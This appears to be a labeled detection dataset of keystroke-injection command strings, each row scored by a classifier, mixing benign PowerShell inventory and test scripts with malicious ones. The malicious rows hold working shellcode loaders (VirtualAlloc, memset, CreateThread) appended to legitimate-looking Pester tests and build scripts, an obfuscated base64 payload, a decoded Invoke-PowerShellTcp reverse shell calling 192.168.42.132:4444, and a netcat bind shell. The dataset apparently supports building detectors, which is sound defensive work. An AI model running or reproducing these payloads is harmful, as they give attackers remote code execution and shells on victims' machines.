0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x69,0x67,0xec,0x08,0x68,0x02,0x00,0x04,0x62,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1606716e-05,0.9999484
"win+r powershell enter Function Out-ObfuscatedStringCommand { [CmdletBinding( DefaultParameterSetName enter = 'FilePath')] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, Par enter ameterSetName = 'ScriptBlock')] [ValidateNotNullOrEmpty()] [ScriptBlock] $Scr enter iptBlock, [Parameter(Position = 0, ParameterSetName = 'FilePath')] [ValidateN enter otNullOrEmpty()] [String] enter enter",1,1,0.00063864276,0.99936134
"win+r enter powershell enter enter enter Describe ""Get-Service cmdlet tests"" -Tags ""CI"" { enter BeforeAll { enter $originalDefaultParameterValues = $PSDefaultParameterValues.Clone() enter if ( -not $IsWindows ) { enter $PSDefaultParameterValues[""it:skip""] = $true enter } enter } enter enter AfterAll { enter $global:PSDefaultParameterValues = $originalDefaultParameterValues enter } enter enter $testCases = enter @{ data = $null ; value = 'null' }, enter @{ data = [String]::Empty; value = 'empty string' } enter enter Context 'Check null or empty value to the -Name parameter' { enter It 'Should throw if <value> is passed to -Name parameter' -TestCases $testCases { enter param($data) enter { $null = Get-Service -Name $data -ErrorAction Stop } | enter Should -Throw -ErrorId 'ParameterArgumentValidationError,Microsoft.Powershell.Commands.GetServiceCommand' enter } enter } enter enter Context 'Check null or empty value to the -Name parameter via pipeline' { enter It 'Should throw if <value> is passed through pipeline to -Name parameter' -TestCases $testCases { enter param($data) enter { $null = Get-Service -Name $data -ErrorAction Stop } | enter Should -Throw -ErrorId 'ParameterArgumentValidationError,Microsoft.Powershell.Commands.GetServiceCommand' enter } enter } enter enter It ""GetServiceCommand can be used as API for '<parameter>' with '<value>'"" -TestCases @( enter @{ parameter = ""DisplayName"" ; value = ""foo"" }, enter @{ parameter = ""Include"" ; value = ""foo"",""bar"" }, enter @{ parameter = ""Exclude"" ; value = ""bar"",""foo"" }, enter @{ parameter = ""InputObject"" ; script = { Get-Service | Select-Object -First 1 } }, enter @{ parameter = ""Name"" ; value = ""foo"",""bar"" } enter ) { enter param($parameter, $value, $script) enter if ($script -ne $null) { enter $value = & $script enter } enter enter $getservicecmd = [Microsoft.PowerShell.Commands.GetServiceCommand]::new() enter $getservicecmd.$parameter = $value enter $getservicecmd.$parameter | Should -BeExactly $value enter } enter enter It ""Get-Service filtering works for '<script>'"" -TestCases @( enter @{ script = { Get-Service -DisplayName Net* } ; expected = { Get-Service | Where-Object { $_.DisplayName -like 'Net*' } } }, enter @{ script = { Get-Service -Include Net* -Exclude *logon } ; expected = { Get-Service | Where-Object { $_.Name -match '^net.*?(?<!logon)$' } } } enter @{ script = { Get-Service -Name Net* | Get-Service } ; expected = { Get-Service -Name Net* } }, enter @{ script = { Get-Service -Name ""$(new-guid)*"" } ; expected = $null }, enter @{ script = { Get-Service -DisplayName ""$(new-guid)*"" } ; expected = $null }, enter @{ script = { Get-Service -DependentServices -Name winmgmt }; expected = { (Get-Service -Name winmgmt).DependentServices } }, enter @{ script = { Get-Service -RequiredServices -Name winmgmt } ; expected = { (Get-Service -name winmgmt).RequiredServices } } enter ) { enter param($script, $expected) enter $services = & $script enter if ($expected -ne $null) { enter $servicesCheck = & $expected enter } enter if ($servicesCheck -ne $null) { enter Compare-object $services $servicesCheck | Out-String | Should -BeNullOrEmpty enter } else { enter $services | Should -BeNullOrEmpty enter } enter } enter enter It ""Get-Service fails for non-existing service using '<script>'"" -TestCases @( enter @{ script = { Get-Service -Name (new-guid) -ErrorAction Stop} ; enter ErrorId = ""NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand"" }, enter @{ script = { Get-Service -DisplayName (new-guid) -ErrorAction Stop}; enter ErrorId = ""NoServiceFoundForGivenDisplayName,Microsoft.PowerShell.Commands.GetServiceCommand"" } enter ) { enter param($script,$errorid) enter { & $script } | Should -Throw -ErrorId $errorid enter } enter } enter enter $BcV = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $BcV -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xce,0xd9,0x74,0x24,0xf4,0x5a,0xb8,0xfb,0xde,0xd9,0x44,0x31,0xc9,0xb1,0x47,0x31,0x42,0x18,0x83,0xea,0xfc,0x03,0x42,0xef,0x3c,0x2c,0xb8,0xe7,0x43,0xcf,0x41,0xf7,0x23,0x59,0xa4,0xc6,0x63,0x3d,0xac,0x78,0x54,0x35,0xe0,0x74,0x1f,0x1b,0x11,0x0f,0x6d,0xb4,0x16,0xb8,0xd8,0xe2,0x19,0x39,0x70,0xd6,0x38,0xb9,0x8b,0x0b,0x9b,0x80,0x43,0x5e,0xda,0xc5,0xbe,0x93,0x8e,0x9e,0xb5,0x06,0x3f,0xab,0x80,0x9a,0xb4,0xe7,0x05,0x9b,0x29,0xbf,0x24,0x8a,0xff,0xb4,0x7e,0x0c,0x01,0x19,0x0b,0x05,0x19,0x7e,0x36,0xdf,0x92,0xb4,0xcc,0xde,0x72,0x85,0x2d,0x4c,0xbb,0x2a,0xdc,0x8c,0xfb,0x8c,0x3f,0xfb,0xf5,0xef,0xc2,0xfc,0xc1,0x92,0x18,0x88,0xd1,0x34,0xea,0x2a,0x3e,0xc5,0x3f,0xac,0xb5,0xc9,0xf4,0xba,0x92,0xcd,0x0b,0x6e,0xa9,0xe9,0x80,0x91,0x7e,0x78,0xd2,0xb5,0x5a,0x21,0x80,0xd4,0xfb,0x8f,0x67,0xe8,0x1c,0x70,0xd7,0x4c,0x56,0x9c,0x0c,0xfd,0x35,0xc8,0xe1,0xcc,0xc5,0x08,0x6e,0x46,0xb5,0x3a,0x31,0xfc,0x51,0x76,0xba,0xda,0xa6,0x79,0x91,0x9b,0x39,0x84,0x1a,0xdc,0x10,0x42,0x4e,0x8c,0x0a,0x63,0xef,0x47,0xcb,0x8c,0x3a,0xfd,0xce,0x1a,0x05,0xaa,0xd0,0xbc,0xed,0xa9,0xd2,0x51,0xb2,0x24,0x34,0x01,0x1a,0x67,0xe9,0xe1,0xca,0xc7,0x59,0x89,0x00,0xc8,0x86,0xa9,0x2a,0x02,0xaf,0x43,0xc5,0xfb,0x87,0xfb,0x7c,0xa6,0x5c,0x9a,0x81,0x7c,0x19,0x9c,0x0a,0x73,0xdd,0x52,0xfb,0xfe,0xcd,0x02,0x0b,0xb5,0xac,0x84,0x14,0x63,0xda,0x28,0x81,0x88,0x4d,0x7f,0x3d,0x93,0xa8,0xb7,0xe2,0x6c,0x9f,0xcc,0x2b,0xf9,0x60,0xba,0x53,0xed,0x60,0x3a,0x02,0x67,0x61,0x52,0xf2,0xd3,0x32,0x47,0xfd,0xc9,0x26,0xd4,0x68,0xf2,0x1e,0x89,0x3b,0x9a,0x9c,0xf4,0x0c,0x05,0x5e,0xd3,0x8c,0x79,0x89,0x1d,0xfb,0x93,0x09;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$BMk=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($BMk.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$BMk,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1849715e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_45vn6t5w"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_150.txt"") -Encoding UTF8 enter",0,0,0.9999652,3.481888e-05
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install dotnetcore enter A enter enter,0,0,0.9999597,4.03105e-05
"win+r powershell enter  function Test-FailoverDatabase { $location = Get-Location ""Microsoft.Sql"" enter ""operations"" ""Southeast Asia"" $rg = Create-ResourceGroupForTest $location $ser enter ver = Create-ServerForTest $rg $location try { enter enter",1,1,0.0011413879,0.9988586
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_7yatl56x"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Export-Csv -Path (Join-Path $ReportDir ""disk_volume.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.385948e-05
"win+r powershell enter if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\Wind enter owsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStar enter tInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStre enter am(,[Convert]::FromBase64String(''H4sIACyVG1gCA71WbW/aSBD+3Er9D1aFZFsl2CQ0SSNVuj enter XmxQkQiIMJcOi0sddmYe0l9joBev3vNwY7pWpyyvXDWSDvy8zszDPP7NhPI1dQHkmP9L6qf67T1NpI3z enter 68f9fHMQ4lpUT1TlkqrS8fztvqu3ewUVrUrWqLSF8lZYpWK5OHmEazi4t6GsckEvt5pUUEShIS3jNKEk enter WV/pZGcxKTo+v7BXGF9E0q/VVpMX6PWS62qWN3TqQjFHnZXoe7OPOrYq8YFYr855+yOj2qziqNhxSzRJ enter HtTSJIWPEYk1Xpu5odeLtZEUXuUjfmCfdFZUSjk+PKMEqwT3pg7ZF0iZhzL5FViAN+MRFpHEl5RJmJvY enter Aiw7Afcxd5XkwSkK9Y0SNfEqUUpYyVpT+UaX7+TRoJGhLYFyTmK5vEj9QlSaWNI4+RG+LPlB55KsJ+q5 enter JyqARSfRGrZUjGi452uZcysteV1V9dzVKowvOcRoj++4f3H977Re6D0Kmh+9PDvMPo3XQ3JuCj0ucJ3Y enter l+lfSy1IWzsODxBqal2zgl6kyaZuhPZzOpRO7PxIM1vi2/bqNaKGTioQ8rU4dTbwYaeWpKSzwJe9vzze enter l1tvs60Uzi04iYmwiH1C enter",1,1,6.0201997e-05,0.9999398
"win space terminal enter osascript -e ""set volume 10"" enter say hello! we have been trying to reach you about your cars extended warrantee! enter win m",0,1,0.2704276,0.7295723
ctrl alt t curl parrot.live enter,1,1,0.015106914,0.9848931
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_3krjzo8h"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting scheduled_task_inventory section 1."" enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.txt"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4318724e-05
"win+r enter powershell enter enter enter $here = Split-Path -Parent $MyInvocation.MyCommand.Path enter $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path) -replace '\.Tests', '' enter . ""$here\$sut"" enter enter $clusterName = $ENV:ClusterName enter $httpUserPassword = $ENV:HttpPassword enter $securePassword = ConvertTo-SecureString $httpUserPassword -AsPlainText -Force enter $creds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""admin"", $securePassword enter function Get-Credential { return $creds } enter enter Describe ""hdinsight-hadoop-use-pig-powershell"" { enter It ""Runs a Pig query using Start-AzHDInsightJob"" { enter Mock Read-Host { $clusterName } enter enter (Start-PigJob $clusterName $creds)[-1].StartsWith(""(TRACE,816)"") | Should be True enter } enter } enter enter Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('rVZtb5tIEP4eKf9hzuHOoBpku011FymVUuo7WUpTK0TKB8u6EBgHLngXLYtflPa/3+yCDdiO4zsVJQaWmWefGZ6ZYZqzQMacwZDN+TPaI75A4UWYJHdBCqcnL/QPdIzdWZig/ByzMGZP5hec+nkiR77wZyjJA+UNXV22BM5RZNiyJqAfmqcnBYAG2dibI57Fet9L6Hbgq89CX3KxoltDihw7cAj6vyJO/STbC/lI4TTxPCkovtqKMRxdhaHALOu8HUrvp4dyLOJuJEMm62GMuJCvRnAcQW8RyyCqg94WZsfj7kn4DqjS2BrQWl8Uv5KSUFy9VA5nLmcMAwmPfvAM8RRkhFAGAJmGhziDPMPQqbzIzlzzt6rlGq4mEyQxMkmZv8GF/e3xH7WPt8okzpwblI7Hg2eUmXPnjlxtadb0onNew/5RT9OZChMk12xTwedxiCGk5KGo6YeHuSuTA8STmEgyFER9vI9wkF6XFhPN8xV3J5O+kKZVvYPd1FTGV0GAqSTsMhn14KEevZFJgf5MORcwzl8oPb1Wdxo/riSOJxNDnTNV2Y7z8fz8/fn3X1+6zXR6SBnTCghyIRQxSppgpDqg+oGAz9JcFgt1GuS1xjbHEpfSQRZw1eMmFxdXnjscWoraZ2Vjtu4p53yRQdUlQeSMkTX4+i0JaME7MJDNLzbbv6M1quXNgzoV9fCBuTxdifgpkmC6FvS7vXP4GgeCZ3wqweWCVOGrfuDAldpRWWakcNpgTrp4YA+sZe3k1rkXsUSzCrHT7VQ3zjWyJxlZzRxGfEHZgpgRPZ/mwhzroZJKZ6n839lrjzxoU8AmrdjXPNAhWc7IlxGttj+1f0YMiyhO0DSNWEmrBLlFPzQLCXXUbDAa3hbYDKF7oJQGKiYM7yi+ZiOw71Ypqsa2bgnKxNFxD8o8bEFRI/cVsxpkqXw1VY11jGDEVtOTOl9zYYukfn+DJQakLN1SSGUzJXxSnrqlKn6i8t91KtKp6obeYfkRMFimqoGpCWS7JU5Bvf/ptx58h2+5tAvOsMXzR/OWXnIQvUlcv2X73he6kloep6ERqcuFquOF4OoyJpmgDlDx4tNXImzBa/gDIbgA4++DhDfp6INW0Do5JNA35AvtLaSlyqiBatdxd9LI2lbSCiMnSNAX5vazitBl/YaaybIufHWc3aLMBSsHYEYfaNk+MBLZUQVb7bbDaW911ouzqs19jn8meRapodIYjhurciS4Cc+wng8999bD5ojZ53iSp6a1s0l5qomzhnCEGH8BN8LqW0P3YaHmNAUXRP5jUsycFc/BF0hzQbkXRUmjiRqHGvMNpe5TKLGkv73f5Xb54QL25msDen/0nd7H350PdHrfB1sNdfhAx+nJvw==')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd(); enter [decoded_payloads] enter [decoded:from_base64_string] enter function Invoke-PowerShellTcp enter { enter [CmdletBinding(DefaultParameterSetName=""reverse"")] Param( enter enter [Parameter(Position = 0, Mandatory = $true, ParameterSetName=""reverse"")] enter [Parameter(Position = 0, Mandatory = $false, ParameterSetName=""bind"")] enter [String] enter $IPAddress, enter enter [Parameter(Position = 1, Mandatory = $true, ParameterSetName=""reverse"")] enter [Parameter(Position = 1, Mandatory = $true, ParameterSetName=""bind"")] enter [Int] enter $Port, enter enter [Parameter(ParameterSetName=""reverse"")] enter [Switch] enter $Reverse, enter enter [Parameter(ParameterSetName=""bind"")] enter [Switch] enter $Bind enter enter ) enter try enter { enter #Connect back if the reverse switch is used. enter if ($Reverse) enter { enter $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) enter } enter enter #Bind to the provided port if Bind switch is used. enter if ($Bind) enter { enter $listener = [System.Net.Sockets.TcpListener]$Port enter $listener.start() enter $client = $listener.AcceptTcpClient() enter } enter enter $stream = $client.GetStream() enter [byte[]]$bytes = 0..65535|%{0} enter enter #Send back current username and computername enter $sendbytes = ([text.encoding]::ASCII).GetBytes(""Windows PowerShell running as user "" + $env:username + "" on "" + $env:computername + ""`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n"") enter $stream.Write($sendbytes,0,$sendbytes.Length) enter enter #Show an interactive PowerShell prompt enter $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') enter $stream.Write($sendbytes,0,$sendbytes.Length) enter enter while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) enter { enter $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding enter $data = $EncodedText.GetString($bytes,0, $i) enter try enter { enter #Execute the command on the target. enter $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) enter } enter catch enter { enter Write-Warning ""Something went wrong with execution of command on the target."" enter Write-Error $_ enter } enter $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' enter $x = ($error[0] | Out-String) enter $error.clear() enter $sendback2 = $sendback2 + $x enter enter #Return the results enter $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) enter $stream.Write($sendbyte,0,$sendbyte.Length) enter $stream.Flush() enter } enter $client.Close() enter if ($listener) enter { enter $listener.Stop() enter } enter } enter catch enter { enter Write-Warning ""Something went wrong! Check if the server is reachable and you are using the correct port."" enter Write-Error $_ enter } enter } enter Invoke-PowerShellTcp -Reverse -IPAddress 192.168.42.132 -Port 4444 enter enter",1,1,0.00033334902,0.9996667
unknown_key_action alt t nc -l -p 1234 -e /bin/bash enter alt f9,1,1,0.00012331198,0.9998766
"win+r powershell enter $SubscriptionId = '<replace with your subscription id>' $resourceGroupName = ""m enter yResourceGroup-$(Get-Random)"" $location = ""westus2"" $firstPoolName = ""MyFirstPo enter ol"" $secondPoolName = ""MySecondPool"" $adminSqlLogin = ""SqlAdmin"" $password = ""< enter EnterYourComplexPasswordHere>"" $serverName = ""server-$(Get-Random)"" enter",1,1,0.0014793045,0.9985207
"win+r enter powershell enter enter enter [cmdletbinding(DefaultParameterSetName='Build')] enter param( enter [Parameter(ParameterSetName='packageSigned')] enter [Parameter(ParameterSetName='Build')] enter [ValidatePattern(""^v\d+\.\d+\.\d+(-\w+(\.\d+)?)?$"")] enter [string]$ReleaseTag, enter [Parameter(Mandatory,ParameterSetName='packageSigned')] enter [string] enter $BuildPath, enter enter [Parameter(Mandatory,ParameterSetName='packageSigned')] enter [string] enter $SignedFilesPath enter ) enter enter DynamicParam { enter $buildJsonPath = (Join-Path -path $PSScriptRoot -ChildPath 'build.json') enter $build = Get-Content -Path $buildJsonPath | ConvertFrom-Json enter $names = @($build.Windows.Name) enter foreach($name in $build.Linux.Name) enter { enter $names += $name enter } enter $ParameterAttr = New-Object ""System.Management.Automation.ParameterAttribute"" enter $ValidateSetAttr = New-Object ""System.Management.Automation.ValidateSetAttribute"" -ArgumentList $names enter $Attributes = New-Object ""System.Collections.ObjectModel.Collection``1[System.Attribute]"" enter $Attributes.Add($ParameterAttr) > $null enter $Attributes.Add($ValidateSetAttr) > $null enter $Parameter = New-Object ""System.Management.Automation.RuntimeDefinedParameter"" -ArgumentList (""Name"", [string], $Attributes) enter $Dict = New-Object ""System.Management.Automation.RuntimeDefinedParameterDictionary"" enter $Dict.Add(""Name"", $Parameter) > $null enter return $Dict enter } enter enter Begin { enter $Name = $PSBoundParameters['Name'] enter } enter enter End { enter $ErrorActionPreference = 'Stop' enter enter $additionalFiles = @() enter $buildPackageName = $null enter enter if ($BuildPath) enter { enter Import-Module (Join-Path -path $PSScriptRoot -childpath '..\..\build.psm1') enter Import-Module (Join-Path -path $PSScriptRoot -childpath '..\packaging') enter $destFolder = $env:temp enter if($env:BUILD_STAGINGDIRECTORY) enter { enter enter $destFolder = $env:BUILD_STAGINGDIRECTORY enter } enter enter $BuildPackagePath = New-PSSignedBuildZip -BuildPath $BuildPath -SignedFilesPath $SignedFilesPath -DestinationFolder $destFolder enter Write-Verbose -Verbose ""New-PSSignedBuildZip returned `$BuildPackagePath as: $BuildPackagePath"" enter Write-Host "" enter $buildPackageName = Split-Path -Path $BuildPackagePath -Leaf enter $additionalFiles += $BuildPackagePath enter } enter enter $psReleaseBranch = 'master' enter $psReleaseFork = 'PowerShell' enter $location = Join-Path -Path $PSScriptRoot -ChildPath 'PSRelease' enter if(Test-Path $location) enter { enter Remove-Item -Path $location -Recurse -Force enter } enter enter $gitBinFullPath = (Get-Command -Name git).Source enter if (-not $gitBinFullPath) enter { enter throw ""Git is required to proceed. Install from 'https://git-scm.com/download/win'"" enter } enter enter Write-Verbose ""cloning -b $psReleaseBranch --quiet https://github.com/$psReleaseFork/PSRelease.git"" -verbose enter & $gitBinFullPath clone -b $psReleaseBranch --quiet https://github.com/$psReleaseFork/PSRelease.git $location enter enter Push-Location -Path $PWD.Path enter enter $unresolvedRepoRoot = Join-Path -Path $PSScriptRoot '../..' enter $resolvedRepoRoot = (Resolve-Path -Path $unresolvedRepoRoot).ProviderPath enter enter try enter { enter Write-Verbose ""Starting build at $resolvedRepoRoot ..."" -Verbose enter Import-Module ""$location/vstsBuild"" -Force enter Import-Module ""$location/dockerBasedBuild"" -Force enter Clear-VstsTaskState enter enter $buildParameters = @{ enter ReleaseTag = $ReleaseTag enter BuildPackageName = $buildPackageName enter } enter enter Invoke-Build -RepoPath $resolvedRepoRoot -BuildJsonPath './tools/releaseBuild/build.json' -Name $Name -Parameters $buildParameters -AdditionalFiles $AdditionalFiles enter } enter catch enter { enter Write-VstsError -Error $_ enter } enter finally{ enter Write-VstsTaskState enter exit 0 enter } enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x6d,0xe8,0xe3,0x95,0x68,0x02,0x00,0x85,0xba,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1522242e-05,0.9999485
